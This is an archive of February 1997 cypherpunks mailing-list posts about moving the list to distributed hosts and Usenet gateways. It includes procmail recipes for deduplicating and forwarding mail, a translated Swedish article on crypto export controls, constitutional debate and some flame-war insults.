protection matters, etc.); offers to that end would be appreciated.

Where to contact the FAQ maintainer...

Suggestions for other common questions, or corrections or other amendments
to this file may be made to Telecom.FAQ@superctl.tor250.org (Fido
1:259/730) or dleibold@else.net or aa070@freenet.toronto.on.ca. Note that
any or all of these addresses are subject to change or discontinuance.

This file is updated approximately annually; special updates may be made as
time and circumstances permit.

Disclaimer Type Stuff...

All information herein should be considered subject to correction or
change. No endorsements or promotions of specific products or companies
are intended. Any specific references are made for example only, or in
order to adequately deal with certain subjects.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:12:54 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
In-Reply-To: <Pine.LNX.3.95.970216122351.2356M-100000@dhp.com>
Message-ID: <330901F3.750E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> ISP_Ratings wrote:
> >   Yes--and given the role Dr. Vulis has played in this matter
> > it would be most appropriate for him to write an FAQ (although
> > I personally ignore most FAQs).

>Perhaps it would be more appropriate for the good doctor to write a FUQs.

Why not do it like the Declaration of Independence?  A primary author
puts the basic document together, and other persons with expertise in
other important areas add to it, then it gets circulated on the list
for comments and suggestions.

"Other areas" not normally addressed in these kinds of documents
should include subscribers' awareness that the crypto lists are
a prime target of attention from federal agencies, et al, and
that much of the material posted could be pure disinformation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Feb 1997 16:30:22 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <199702170736.CAA02163@mercury.peganet.com>
Message-ID: <330905A2.5371@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> Everyone and his/her cousin has jumped into the void
> created when John Gilmore decided to pull the plug
> on toad.com.
> Has anyone composed a concise summary of just
> what the options are? 

  I have subscribed to Igor's cypherpunks@algebra.com.
  Jim Choate and Lance Cottrel (?) are participating with Igor and
others in maintaining continuity of the list, to my understanding.
  They all seem to be moving toward maintaining a distributed list
which will ensure both continuity and integrity. I would suggest 
joining one or the other list and then, once the 'dust' has 
settled, taking steps to verify that whatever list you are 
subscribed to is operating in such a way as to ensure that there
are no shenanigans going on in the background.
  I, for one, am content to give the new list distributors the 
benefit of the doubt if there are anomalies in the new system,
given the haste in which they must initiate a new distributed
mailing list system.
  On the other hand, they may all be godless communists, seeking
to twist our fragile minds to do their bidding. (Much like myself)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 17 Feb 1997 18:57:59 -0800 (PST)
To: snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180256.SAA14316@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:52 PM 2/17/97 -0700, drose@AZStarNet.com wrote:
>Yea, (as D. Thorn might babble, if I understand the shards of his stuff
>quoted in the posts of those who should know better) when I was a young
>fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
>have any idea what metallic sodium and red fuming nitric acid and Willy
>Ley-strength Hydrogen Peroxide are all about?"

Yes, those nosy shopkeepers should really keep it to themselves!  I remember 
at about age 14 being pissed because I'd been sold _10%_ nitric acid, 
when I was expecting the 70% stuff!  Within a few weeks I was buying direct 
from his supplier!






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 17:05:25 -0800 (PST)
To: raph@CS.Berkeley.EDU (Raph Levien)
Subject: Re: List of reliable remailers
In-Reply-To: <199702171450.GAA16062@kiwi.cs.berkeley.edu>
Message-ID: <199702180057.SAA10702@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Raph Levien wrote:
> 
> information about remailer features and reliability.
> 
>    To use it, just finger remailer-list@kiwi.cs.berkeley.edu
> 
>    There is also a Web version of the same information, plus lots of
> interesting links to remailer-related resources, at:
> http://www.cs.berkeley.edu/~raph/remailer-list.html
> 

Raph,

Would it be possible to use your testing program to test reliability of
cypherpunks mailing lists?

Thank you.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Mon, 17 Feb 1997 08:59:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: suppressing duplicates based on MD5 of body
Message-ID: <199702171658.SAA03217@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


It's been more than 30 hours since I sent the first copy of this message
to cypherpunks@toad.com, and I still haven't seen it on either the
moderated or the flames lists @toad.com.  Suspecting that a particular
naughty word was to blame, I inserted some hyphens and resent the
message several hours later.  That too has failed to reach me on either
the moderated to the flames lists @toad.com.  I am now kmtkujatwv to
several other flavours of the list, and will be interested to see which
(if any) get *this* message, in which the naughty word is encrypted
using the well-known ROT-n algorithm, with a key that I will keep
secret.

Heres's a procmail recipe for suppressing duplicate messages based on
the MD5 of a "normalised" version of the body of the messages.  Folk who
celcmbslo to more than one of the cypherpunks lists may find it useful.

:0
* (Sender: |Return-Path: |Received:.*for.*)(owner-)?cypherpunks
{

    # Detect duplicate messages based on MD5 of normalised body
    :0:.md5.lock
    * B ?? ? (m=`$HOME/bin/normalise-body | md5`; \
	echo "Message-ID: <$m@MD5>" \
	| formail -D 8192 .body-md5.cypherpunks.cache )
    cypherpunks-duplicates

    :0:
    cypherpunks
}


The "* B ?? ?" means "send the body of the message as input to
the following command, and test the command's exit status".
$HOME/bin/normalise-body is a simple perl script (appended) that deletes
trailing blanks on all lines and then deletes leading and trailing blank
lines.

--apb (Alan Barrett)

# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	normalise-body
#
echo x - normalise-body
sed 's/^X//' >normalise-body << 'END-of-normalise-body'
X#!/usr/bin/perl
X
X# A very weak attempt at normalising the body of a mail message.
X# Removes trailing white space on all lines, and removes leading
X# and trailing blank lines.
X# Does not attempt to normalise any MIME content-transfer-encoding.
X
X$total_nonblank_lines = 0;
X$consecutive_blank_lines = 0;
Xwhile (<>) {
X    s/\s+$//;
X    if (/^$/) {
X	$consecutive_blank_lines++;
X    } else {
X	print "\n" x $consecutive_blank_lines if $total_nonblank_lines;
X	print $_;
X	$consecutive_blank_lines = 0;
X	$total_nonblank_lines++;
X    }
X}
END-of-normalise-body
exit




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 17:11:23 -0800 (PST)
To: markm@voicenet.com (Mark M.)
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <Pine.LNX.3.95.970217125144.1066A-100000@purple.voicenet.com>
Message-ID: <199702180107.TAA10923@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mark M. wrote:
>  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
> 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

... Along with several others.

>  - The distributed list is still forming and so far consists of
> 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
> 	do not know the location.  A mail<->news gateway is planned, but not
> 	yet in place, between the distributed list and the newsgroup(s).

It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
newsserver offering several cypherpunks newsgroups.

I am not yet sure if taz is now a part of the mainstream usenet, that 
is, it may not be connected to the Big USENET.

> 	cypherpunks@algebra.com is receiving messages from
> 	cypherpunks-unedited.  I assume this means that the other hosts part
> 	of the distributed list are also receiving cypherpunks-unedited
> 	messages.

Correct.
 
>  - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
> 	not yet part of the distributed list.  It is also receiving feed from
> 	toad.com.

I will subscribe to it.

Now, it is important to realize that Lance's machine is probably much
better connected than mine. Once we get connected with him, you may be
better off reading cypherpunks from cypherpunks@cyberpass.net. If you
su-bsc-ribe to cypherpunks@algebra.com, it may take longer for articles
to reach you.

 
> If you don't want to miss any messages, then you should subscribe to both
> cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
> are receiving cypherpunks-unedited, you can safely unsubscribe from
> cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
> overlapping content, you should delete duplicates.

I still think that it is a good idea to do nothing for several days and
wait until the distributed network picks up cyberpass. Then, subscribe
to any node of your liking.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 17:51:09 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218014256.29119.qmail@taz.nceye.net>
Message-ID: <199702180145.TAA11577@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan Reece wrote:
> 
>    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>    newsserver offering several cypherpunks newsgroups.
> 
>    I am not yet sure if taz is now a part of the mainstream usenet, that 
>    is, it may not be connected to the Big USENET.
> 
> It receives some Big Usenet groups, but only for local users.
> alt.cypherpunks is open, but there will be long delays, on the
> order of a day, for articles there (unless someone better connected to
> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
> 

I just set up a recipe for using mail2news gateways like this:

:0 c
| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

Any objections?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 18:10:12 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218015644.32237.qmail@taz.nceye.net>
Message-ID: <199702180158.TAA11812@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan Reece wrote:
> 
> Igor Chudov writes:
>  > Bryan Reece wrote:
>  > > 
>  > >    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>  > >    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>  > >    newsserver offering several cypherpunks newsgroups.
>  > > 
>  > >    I am not yet sure if taz is now a part of the mainstream usenet, that 
>  > >    is, it may not be connected to the Big USENET.
>  > > 
>  > > It receives some Big Usenet groups, but only for local users.
>  > > alt.cypherpunks is open, but there will be long delays, on the
>  > > order of a day, for articles there (unless someone better connected to
>  > > Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
>  > > 
>  > 
>  > I just set up a recipe for using mail2news gateways like this:
>  > 
>  > :0 c
>  > | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>  > 	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl
>  > 
>  > Any objections?
>  > 
>  > 	- Igor.
> 
> It would be more mailing-list-like to have the list in a separate,
> isolated hierarchy.  That would avoid the principal problems of Usenet
> (delays and email spam).

It is a very good objections. I would like readers to speak up and say
their word for or against forwarding the list messages to
alt.cypherpunks.  If a significant number of people objects (2-3 is
enough) I will disable this feature.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Terry L. Davis" <terryld@earthlink.net>
Date: Mon, 17 Feb 1997 20:45:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Removal from newsgroup listing
Message-ID: <33093394.41F3@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


I'm not certain how I got on the cypherpunks newlist, but it's way over 
my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
Thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Mon, 17 Feb 1997 17:54:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <3.0.32.19970217205543.0069f644@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:28 PM 2/17/97 -0800, you wrote:


:anomalies in the new system,

[now the big words!]

:given the haste in which they must initiate a new distributed
:mailing list system.
:  On the other hand, they may all be godless communists, seeking
:to twist our fragile minds to do their bidding. (Much like myself)
:
:Toto

I recant. You ARE nuts!

Alec

Niice post.  
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Mon, 17 Feb 1997 21:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Message-Id / mail2news gateways.
Message-ID: <9702172059.ZM3730@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


This is for all the volunteers who are working on setting up the
distributed cypherpunks mailing lists.

1) Please preserver Message-Ids while resending messages. The
Message-Id is intended to be unique to a message and can be used
to reject duplicates. Usenet software in particular, detects
duplicates by Message-Id.

2) In response to Igor's query, I would very much like at least
on of the distributed lists to be set up such that messages sent
there will *not* be gatewayed to Usenet. As I mentioned, I will
not post to Usenet with my real email address, and if all lists
get gatewayed to alt.cypherpunks, I have to set up fake email
headers to mail to the lists also. If at least one of the
lists can gaurantee that it won't be gatewayed to Usenet, I
don't have to do that, and as a nice bonus, Prof. Froomkin
can continue to be active on cypherpunks.

This can be achieved by the list software adding an
"X-Post-to-Usenet: No" or some similar header to every
message it sends out. Also a header, such as X-List:
should be set to indicate under which mailing list a message
first entered the system. This will be worthless unless all
the list servers honor these headers.

Thanks.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 20:05:22 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180405.VAA14281@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


My dear fellow:

I suppose you missed the notion that, on the Internet, *some* folks know
that you are a dog.

P.S. You, Dimi, D. Thorn, Dimi, "Nurdane Oskas", Dimi, "Awaken to Me",
Dimi,"World's Youngest Cypherpunk", Dimi, "Andre the Cypherpunk", Dimi, etc.
etc. are to be commended if not appreciated for your efforts in ruining an
amazingly good thing.  See you in alt.baloney.  Incidentally, do you
habitually defecate (FYI, that's "to discharge feces from the bowels") in
your own single-wide? (Son, that's a rhetorical question.)

The very fact that you shamelessly and boneheadedly refuse to keep your head
down after all of the damage that you and your lot have caused (with 1K+
lurkers "looking on") is worthy, certainly, of some serious consideration.

Ia! Ia! Cthulhu Fhtagn!

>drose@azstarnet.com wrote:
>> 
>> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
>> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? 
>
>  Sounds like this is an on-topic post for the 'flames' list.
>
>Toto
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Mon, 17 Feb 1997 18:19:56 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: The Science Generations, II
In-Reply-To: <199702172056.MAA13556@toad.com>
Message-ID: <199702180218.VAA24435@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: text/plain


< snow writes >
> 	This is where I often get a little confused.
> 
> 	Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
> 	In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).
> 
> 	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> can only, ONLY do what the constitution says it can.
> 
> 	???

	( non-US residents, tune out ... )

	This is the way it ( the constitution ) was written to work; however, 
the feds have found an interesting way around this.  Here, in two easy steps,
is their secret backdoor through the constitution:

	Step 1:	Take our money in federal taxes.

	Step 2:	Refuse to give it back to us unless we follow their guidelines.

	It's been done time and time again, "for our own good".  Witness the
country-wide drinking age of 21 ( if states don't enact it, they lose their
highway funds ), or the upcoming welfare "return" to the states.

	So, while the Federal government doesn't enact the legislation, they
have a big enough stick to force states and local govt. to bend to their
"suggestion".

	Sorry.

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 20:39:38 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180439.VAA24310@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
subscribed to a million and one lists that I never knew I needed (and so
quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
is going away *real * quick, so save your keystrokes. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Mon, 17 Feb 1997 21:39:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: European crypto export policy
In-Reply-To: <m0vweWa-0003b9C@ulf.mali.sub.org>
Message-ID: <v03010d02af2ee4f0c1f2@[17.219.102.16]>
MIME-Version: 1.0
Content-Type: text/plain


At 02:39 +0100 1997.02.18, Ulf Möller wrote:
>Swedish Datateknik 97-02 features an article about how COCOM/ Wassenaar
>Arrangement effects Swedish crypto exports.
>
>I wonder if someone whose Swedish is better than mine could summarize
>the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html
>
This is a sloppy and probably inaccurate translation.

Martin Minow
minow@apple.com

Datateknik 97-02 97-01-30

EEC countries forbidden for Swedish crypto-export.

The export control agreement that governs Sweden's export of sensitive
high-technology even stops sale of encryption software to several
EEC countries. Security-political considerations from cold war days
are a serious barrier for integration in the EEC.

In international regulation of high-technology commerce, crytographic
equipment and crypto-software is either directly considered "war material"
or counted as dual-use products -- i.e. products with both civil and
military use. Twenty-eight industrial countries, including Sweden, stand
behind the rules ... called "Wassenaar Agreement" after the suburb
to Den Haag in the Netherlands where they were written.

... The Wassenaar Agreement is a continuation of COCOM (the West's
embargo of high-technology to the Eastern block). After COCOM was lifted
in 1993, there were discussions about what should be included in
future controls. The USA, for example, would not accept Russian
involvement while Russia exported weapons to Iran. Eventually, Russia
and the other Eastern-Bloc countries accepted Wassenaar [this is
probably a poor translation] and, today, 33 states are partners in the
agreement, including even South Korea, Bulgaria, and Turkey.

... Encryption equipment is included in the group "information security"
in the goods-list and regulations that control Swedish high-tech export.
(SFS 1994:2060, lastest revision December 1996). [SFS is the national
registry of all Swedish laws, proclamations, and similar.] This control
includes essentially all digital encryption systems. Export may not take
place without approval of the "Inspectorate for Strategic Products" (ISP)
at the Foreign Office.

Following the rules, a Swedish resident would break the law by carrying
a portable computer with a "trivial encryption program (that is not
commercially available)" on the ferry boat across Oresund to Denmark
without a specific export license! A bank ATM card with an encrypted
password can be carried, but not a "smarter" bank or ID card.

While licenses are available, they require special testing. The product
must be "strength-classified" which, in complicated cases, would be done
by the the Defense Radio Service (FRA) [the Swedish equivalent to NSA].
Also, the destination land and the importer's technical knowledge will
also be examined closely.

For Swedish exporters to Europe, this is often experienced as a
"terrorising bureaucracy." ''We who are major exporters of encryption
equipment to telephone [service] operators in, for example, Germany,
must let every delivery be individually examined by ISP despite the fact
that the same products are often repeated,'' says Haakan Persson at
Swedish AU-system. The explanation is that not every EU land fulfills
the Wassanaar requirements.

The point of the rules, explains Egon Svensson at ISP, is that we do
not spread advanced technology to countries that have not had it previously.
Thus, certain countries are excluded. For encryption equipment, only
England, France, Holland, Sweden, Germany, and perhaps a few others, are
considered to have sufficicent capacity and knowledge to be recipient
countries. They say that the restrictions within EU are temporary, but
there is no immediate sign that they will be eased.

Author: Christer Akerman, christer.akerman@datateknik.se

Original Copyright Datateknik

-----
ps: the same issue of DataTeknik has a review of a Swedish biography of Arne
Beurling, a Swedish cryptographer who broke a German World War II telegram
(teletype?) encryption machine "Geheimschreiber T52a/b." After Germany
occupied Norway, all German communication passed through neutral Swedish
telegraph cables, and the Swedes didn't pass up the chance to sample
the traffic. Breaking the code was described by David Kahn as "one of
the great feats of crytoanalysis" of the Second World War. The book is
Svenska kryptobedrifter" by Bengt Backman. Bonniers, ISBN 91-0-056229-7







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 19:32:33 -0800 (PST)
To: jer+@andrew.cmu.edu>
Subject: Re: The Science Generations, II
In-Reply-To: <0n2APH200YUe0Bfrk0@andrew.cmu.edu>
Message-ID: <Pine.LNX.3.95.970217222903.2984A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Jeremiah A Blatz wrote:

> You neglect things like the interstate commerce provision, which means
> that if it crosses state lines, the feds can regualte it. In addition,
> the court (in its infinite wisdom), decided that "the people" meant
> the states, then the people. So, as long as it isn't meantioned in the
> constitution, the states can do whatever they want.

The 10th amendment states:
"The powers not delegated to the United States by the Constitution, nor
prohibited by it to the states, are reserved to the states respectively, or
to the people."

This sounds pretty clear to me.

Theoretically, the states can do whatever they want as long as they don't
infringe on the rights of the people.  The 9th amendment protects all rights
not explicitly stated in the constitution.  The 5th and 14th amendments both
protect people from losing life, liberty, or property without due process.  I
believe that the 14th was used as justification for Roe vs. Wade, since the
court decided that abortion is a liberty and any law forbidding it deprives a
woman of liberty without due process.

Of course, in practice, we know that the situation is much different...


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 19:57:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <01IFJFI7LF848Y4YVV@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From: ichudov@algebra.com (Igor Chudov @ home)

>Bryan Reece wrote:
>> 
>> It receives some Big Usenet groups, but only for local users.
>> alt.cypherpunks is open, but there will be long delays, on the
>> order of a day, for articles there (unless someone better connected to
>> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).

	Well, Lance Cottrell would appear to be a good person to ask
on this matter, but...

>I just set up a recipe for using mail2news gateways like this:

>:0 c
>| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

>Any objections?

given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
cyberpass.net, it would appear to be unnecessary if this recipe is in
use. However, I do have one problem with this recipe: lack of
loop prevention if a news2mail gateway is going in the other direction.
I don't know, but the mail2news gateway folks may not be too happy with
this idea either, given massively increased load; this is particularly
true since IIRC misc.misc is _not_ the proper place to crosspost stuff
from & to; it's only for stuff that _really_ doesn't fall under any
other category. (I've crossposted this message to the remailer-operators
mailing list to make sure it gets to the operators of the gateways in
question.)

In regards to your later query about whether people want their postings
going to Usenet, might I suggest that this be individual to the given
distributed mailing list? In other words, since the recipe is logically
going to have to not forward to a gateway messages from other mailing
lists (since it's not a good idea to have multiple copies of the same
message arriving at the gateway if it can be helped; better to filter
it out beforehand), some of the mailing lists can forward and the
others cannot. (One could even determine this behavior on application
of the proper X-header, although I never trust various mailing systems
to forward such intact.) The same could also be done with gatewaying
_from_ Usenet - if the news2mail gateway feeds to whatever individual
lists sign up to it and they _don't_ forward such messages to others,
people can decide whether or not to receive Usenet postings on
alt.cypherpunks.* by which list they subscribe to.
	-Allen

P.S. A thank you to Reece for setting up a gateway; I had looked
at the program and did _not_ much like the idea of having to
maintain it on my limited knowledge of C/C++ and mailing
software.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 20:41:12 -0800 (PST)
To: reece@taz.nceye.net
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <01IFJH1ONXA88Y4YVV@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06

>>   use. However, I do have one problem with this recipe: lack of
>>   loop prevention if a news2mail gateway is going in the other direction.

>All the mailing-list hosts are supposed to check for duplicates before
>forwarding anything, so this shouldn't do anything worse than have a
>few extra copies of each post get discarded, loading the network and
>the hosts a bit more.  But posting the list to a widely-distributed

	Umm... IIRC, the only person who's announced how he's filtering
for duplicates is Igor, and he's just checking for messageIDs. Won't
those get chunked on going through a mail2news gateway, and thus
possibly come back through a news2mail gateway? The filtering
mechanism could be improved via MD5 digests, etcetera (someone's
already given a recipe for such; thank you), but even so various
mungings could still set up a mailing loop. (Yes, I'm paranoid
about those; I may have been reading list-managers for too long and
seen too many stories on there.) The sensible place to keep
track of possible duplicates is at the gateway; it can
certainly filter based on that it (or, for that matter, another
known bidirectional gateway) sent a message out.

>newsgroup seems wrong for noise (both to the list itself and to
>posters) and delay reasons.

	Delay reasons being that mail will go to Usenet, go
all over the place there, and then get replied to later than if
it were just on the mailing list(s)? A potential problem, yes.
But (especially given the options I mentioned below), this
would appear to be a matter for individual users to decide
by which list they go with and any added control headers.
Maximum individual sovreignty (sp?).

>>   In regards to your later query about whether people want their postings
>>   going to Usenet, might I suggest that this be individual to the given
>>   distributed mailing list? In other words, since the recipe is logically
>>   going to have to not forward to a gateway messages from other mailing
>>   lists (since it's not a good idea to have multiple copies of the same
>>   message arriving at the gateway if it can be helped; better to filter
>>   it out beforehand),

>It doesn't seem an especially bad idea, since it 

	Thank you. Were you cut off?

>>   some of the mailing lists can forward and the
>>   others cannot. (One could even determine this behavior on application
>>   of the proper X-header, although I never trust various mailing systems
>>   to forward such intact.) The same could also be done with gatewaying
>>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
>>   lists sign up to it and they _don't_ forward such messages to others,
>>   people can decide whether or not to receive Usenet postings on
>>   alt.cypherpunks.* by which list they subscribe to.

>The code currently running is a perl script that turns typical email
>messages into something INN is happy with.  It is probably possible to
>get your message rejected by INN if you put obsolete or otherwise
>unusual and illegal headers in.  This may be a bug.

	That would probably depend on: A. if any other circumstances
other than deliberately sabotaging your message's translation would
also disrupt its chances of getting through seriously, particularly
if they weren't something you'd spot; and B. if sufficiently bad
messages would disrupt INN's operations too much. You'd know a lot
more than I would in regard to the latter, and probably the former.
I was last a serious participant on USENET on a Vax running VMS
(via Bitnet, as a matter of fact... a while back).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 00:36:03 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702180405.VAA14281@web.azstarnet.com>
Message-ID: <330969E1.4467@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> My dear fellow:
> I suppose you missed the notion that, on the Internet, *some* folks know
> that you are a dog.

If you, sir or madam, had 1/10 the brainpower that the most active
subscribers to this list have, you would:

1. Understand the subtleties I put forth (ditto Toto and Dr. V).
2. Be able to filter who you don't want to read.
3. Help other less fortunates like yourself to learn filtering.

It is you who pollute the list with worthless crap, which you falsely
interpret as criticism, but which is actually a poor excuse for
what you've failed to learn in life.

A pox on you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 00:39:17 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702180439.VAA24310@web.azstarnet.com>
Message-ID: <33096A9E.3163@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> 
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

My point has been proven once again!  Another spineless coward pollutes
the list with worthless criticism, and then slinks away from those s/he
attacks like a mangy coyote.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 18 Feb 1997 01:33:15 -0800 (PST)
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: Message-Id / mail2news gateways.
In-Reply-To: <9702172059.ZM3730@razor.engr.sgi.com>
Message-ID: <3.0.1.32.19970218012654.028e2708@law.uoregon.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:59 PM 2/17/97 -0800, Anil Das wrote:

>1) Please preserver Message-Ids while resending messages.

Yes, this is absolutely crucial if many different systems are going to
cooperatively deal with messages. Message-ID changing is very bad. I sent a
Perl script to Lance (copies to others on request) which can be easily used
as the target of an /etc/aliases entry to gate a mailing list into inews (and
thereby into INN) for processing as a netnews message. (The script preserves
Message-ID.) If we preserve Message-ID's, many sites can have local mail-news
gateways, and we won't (globally) see duplicates. 

>2) In response to Igor's query, I would very much like at least
>on of the distributed lists to be set up such that messages sent
>there will *not* be gatewayed to Usenet.

I don't think this is practical - as I understand things, the corpus (bolus?)
